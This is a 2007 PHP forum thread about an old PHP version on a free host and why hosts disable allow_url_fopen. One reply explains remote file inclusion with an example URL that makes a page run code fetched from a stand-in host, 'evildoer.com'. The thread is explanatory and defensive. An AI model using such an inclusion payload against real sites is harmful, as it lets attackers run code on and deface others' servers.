MelWhetaer Posted October 24, 2007 Share Posted October 24, 2007 Hi there, I want to know your views although I can pretty much guess what they will be. My present web host only supports PHP version 4.4.2, although they do support Perl too. This means however that after learning PHP 5.1.4 I then had to take a step back over and change to 4.4.2. What are your thoughts on this? am I in the stone age coding in PHP v. 4.4.2? Is it time for a new FREE host? Mel :-\ Link to comment https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/ Share on other sites More sharing options...
phpQuestioner Posted October 24, 2007 Share Posted October 24, 2007 If PHP v4.4.2 accomplishes what you want to do, then god bless; otherwise you may need to consider an upgrade. Link to comment https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/#findComment-377394 Share on other sites More sharing options...
MelWhetaer Posted October 25, 2007 Author Share Posted October 25, 2007 Thanks for your feedback phpquestioner. Can you recommend a good free host with no ads that supports version 5 or higher? I see there are many that offer his only I would be grateful for any recommendations. Thanks again Mel Link to comment https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/#findComment-377404 Share on other sites More sharing options...
phpQuestioner Posted October 25, 2007 Share Posted October 25, 2007 Honestly, I quit using free web hosting services several years ago. The reason is because most free web host only allow limited bandwidth, limited file space, put ads in your website, usually no customer service, have limits on what you can do with PHP, and so on. But if you just want some basic free php web hosting and you are not expecting much traffic or your just using it for testing; just do a Google search for "Free PHP Web Hosting". You should have several free web hosting options that you can choose from. I would just try a few out and see which one worked the best for me; that's just me though. - Good Luck Link to comment https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/#findComment-377422 Share on other sites More sharing options...
MadTechie Posted October 25, 2007 Share Posted October 25, 2007 like phpQuestioner i can not recommend any.. but this may help http://www.0php.com/free_PHP_hosting.php Byet Host seams to be the best! Link to comment https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/#findComment-377426 Share on other sites More sharing options...
MelWhetaer Posted October 25, 2007 Author Share Posted October 25, 2007 Thanks for the feedback guys. MadTechie I seen a pattern in the link you sent me, all the hosts that support PHP v.5 or higher (except ATB host) have "allow_url_fopen" turned off, is there a reason for this? And what effect does would this have? Thanks Mel Link to comment https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/#findComment-377437 Share on other sites More sharing options...
MadTechie Posted October 25, 2007 Share Posted October 25, 2007 allow_url_fopen is a secuirty risk (when used incorrectly) only differents it can cause major problems if not filtered, example Here’s a simple example of why allow_url_fopen is a problem in the real world. I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this: And then they run it with something like “http://www.example.com/index.php?page=page5.html”. All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever. Moral: allow_url_fopen should *always* be off unless you need it. your find you probably won't have allow_url_fopen CURL CRON get one with register_globals turned OFF... magic quotes are a pain.. i think its better to filter myown code than have magicquotes mess it up for me.. Link to comment https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/#findComment-377453 Share on other sites More sharing options...
MelWhetaer Posted October 25, 2007 Author Share Posted October 25, 2007 Thank you for being so informative MadTechie, with your explanation and a little research into register globals and magic quotes a few gray areas of mine were cleared up. For anyone else at the same level as me when it comes to PHP I found this article very helpful on register globals: http://en.wikibooks.org/wiki/Programming:PHP:Register_Globals Mel Link to comment https://forums.phpfreaks.com/topic/74661-host-support-for-php-442/#findComment-377493 Share on other sites More sharing options...
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